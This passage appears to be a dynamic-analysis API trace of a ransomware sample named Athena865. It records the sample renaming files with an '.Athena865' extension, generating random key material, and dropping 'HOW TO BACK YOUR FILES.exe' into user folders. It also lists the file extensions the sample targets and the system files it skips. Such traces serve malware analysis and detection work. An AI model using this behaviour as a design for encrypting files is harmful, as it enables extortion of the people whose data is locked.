(lpString="wmdb") returned 4 [0053.276] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.276] lstrlenW (lpString="wrk") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.276] lstrlenW (lpString="xdb") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.276] lstrlenW (lpString="xld") returned 3 [0053.276] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.276] lstrlenW (lpString="xmlff") returned 5 [0053.276] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\desktop.ini.Athena865") returned 79 [0053.276] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.280] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.280] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0053.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.281] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.282] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.282] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.282] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x154 [0053.282] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0053.283] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.283] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.283] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.284] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.284] CloseHandle (hObject=0x154) returned 1 [0053.284] CloseHandle (hObject=0x17c) returned 1 [0053.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.286] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2=".") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="..") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="windows") returned -1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="bootmgr") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="temp") returned -1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="pagefile.sys") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="boot") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="ids.txt") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="ntuser.dat") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="perflogs") returned 1 [0053.286] lstrcmpiW (lpString1="Programs", lpString2="MSBuild") returned 1 [0053.286] lstrlenW (lpString="Programs") returned 8 [0053.287] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0053.287] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs", dwFileAttributes=0x10) returned 1 [0053.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5c0 [0053.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x514758 [0053.287] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0053.287] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0053.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.289] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2d7ae880, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0053.289] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.289] ReleaseMutex (hMutex=0xec) returned 1 [0053.289] CloseHandle (hObject=0xec) returned 1 [0053.289] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates" [0053.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501b28 | out: hHeap=0x4f0000) returned 1 [0053.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5d8 | out: hHeap=0x4f0000) returned 1 [0053.289] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates") returned 56 [0053.289] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D3D0C2429E39108506B3BA9183B248DF") returned 0xec [0053.290] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.290] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates" [0053.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.290] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.290] GetLastError () returned 0x0 [0053.290] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.290] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.291] CloseHandle (hObject=0xf4) returned 1 [0053.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.291] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.291] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.294] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.294] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.294] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.294] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.294] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.294] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.294] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.294] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.294] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.294] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.294] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.294] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.294] ReleaseMutex (hMutex=0xec) returned 1 [0053.294] CloseHandle (hObject=0xec) returned 1 [0053.294] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos" [0053.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c978 | out: hHeap=0x4f0000) returned 1 [0053.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c5f0 | out: hHeap=0x4f0000) returned 1 [0053.294] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos") returned 53 [0053.294] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\674919313901CD5B18D517CE341351C6") returned 0xec [0053.294] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.294] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos" [0053.295] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.295] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.295] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.295] GetLastError () returned 0x0 [0053.295] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.295] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.296] CloseHandle (hObject=0xf4) returned 1 [0053.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.296] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.296] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.296] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.296] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.296] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.296] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.296] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.296] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.296] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.296] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.296] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe72dff40, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0x1f11a9d0, ftLastAccessTime.dwHighDateTime=0x1d4ce6f, ftLastWriteTime.dwLowDateTime=0x1f11a9d0, ftLastWriteTime.dwHighDateTime=0x1d4ce6f, nFileSizeHigh=0x0, nFileSizeLow=0x415c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3YVoBFm.mkv", cAlternateFileName="")) returned 1 [0053.296] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2=".") returned 1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="..") returned 1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="windows") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="bootmgr") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="temp") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="pagefile.sys") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="boot") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="ids.txt") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="ntuser.dat") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="perflogs") returned -1 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2="MSBuild") returned -1 [0053.297] lstrlenW (lpString="3YVoBFm.mkv") returned 11 [0053.297] lstrcpyW (in: lpString1=0x241e8b4, lpString2="3YVoBFm.mkv" | out: lpString1="3YVoBFm.mkv") returned="3YVoBFm.mkv" [0053.297] lstrlenW (lpString="3YVoBFm.mkv") returned 11 [0053.297] lstrlenW (lpString="Athena865") returned 9 [0053.297] lstrcmpiW (lpString1="VoBFm.mkv", lpString2="Athena865") returned 1 [0053.297] lstrlenW (lpString=".dll") returned 4 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2=".dll") returned 1 [0053.297] lstrlenW (lpString=".lnk") returned 4 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2=".lnk") returned 1 [0053.297] lstrlenW (lpString=".ini") returned 4 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2=".ini") returned 1 [0053.297] lstrlenW (lpString=".sys") returned 4 [0053.297] lstrcmpiW (lpString1="3YVoBFm.mkv", lpString2=".sys") returned 1 [0053.297] lstrlenW (lpString="3YVoBFm.mkv") returned 11 [0053.297] lstrlenW (lpString="bak") returned 3 [0053.297] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1 [0053.297] lstrlenW (lpString="ba_") returned 3 [0053.297] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1 [0053.297] lstrlenW (lpString="dbb") returned 3 [0053.297] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1 [0053.297] lstrlenW (lpString="vmdk") returned 4 [0053.298] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1 [0053.298] lstrlenW (lpString="rar") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1 [0053.298] lstrlenW (lpString="zip") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1 [0053.298] lstrlenW (lpString="tgz") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1 [0053.298] lstrlenW (lpString="vbox") returned 4 [0053.298] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1 [0053.298] lstrlenW (lpString="vdi") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1 [0053.298] lstrlenW (lpString="vhd") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1 [0053.298] lstrlenW (lpString="vhdx") returned 4 [0053.298] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1 [0053.298] lstrlenW (lpString="avhd") returned 4 [0053.298] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1 [0053.298] lstrlenW (lpString="db") returned 2 [0053.298] lstrcmpiW (lpString1="kv", lpString2="db") returned 1 [0053.298] lstrlenW (lpString="db2") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1 [0053.298] lstrlenW (lpString="db3") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1 [0053.298] lstrlenW (lpString="dbf") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1 [0053.298] lstrlenW (lpString="mdf") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1 [0053.298] lstrlenW (lpString="mdb") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1 [0053.298] lstrlenW (lpString="sql") returned 3 [0053.298] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1 [0053.298] lstrlenW (lpString="sqlite") returned 6 [0053.299] lstrcmpiW (lpString1="Fm.mkv", lpString2="sqlite") returned -1 [0053.299] lstrlenW (lpString="sqlite3") returned 7 [0053.299] lstrcmpiW (lpString1="BFm.mkv", lpString2="sqlite3") returned -1 [0053.299] lstrlenW (lpString="sqlitedb") returned 8 [0053.299] lstrcmpiW (lpString1="oBFm.mkv", lpString2="sqlitedb") returned -1 [0053.299] lstrlenW (lpString="xml") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1 [0053.299] lstrlenW (lpString="$er") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1 [0053.299] lstrlenW (lpString="4dd") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1 [0053.299] lstrlenW (lpString="4dl") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1 [0053.299] lstrlenW (lpString="^^^") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1 [0053.299] lstrlenW (lpString="abs") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1 [0053.299] lstrlenW (lpString="abx") returned 3 [0053.299] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1 [0053.299] lstrlenW (lpString="accdb") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accdb") returned 1 [0053.299] lstrlenW (lpString="accdc") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accdc") returned 1 [0053.299] lstrlenW (lpString="accde") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accde") returned 1 [0053.299] lstrlenW (lpString="accdr") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accdr") returned 1 [0053.299] lstrlenW (lpString="accdt") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accdt") returned 1 [0053.299] lstrlenW (lpString="accdw") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accdw") returned 1 [0053.299] lstrlenW (lpString="accft") returned 5 [0053.299] lstrcmpiW (lpString1="m.mkv", lpString2="accft") returned 1 [0053.299] lstrlenW (lpString="adb") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0053.300] lstrlenW (lpString="adb") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1 [0053.300] lstrlenW (lpString="ade") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1 [0053.300] lstrlenW (lpString="adf") returned 3 [0053.300] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1 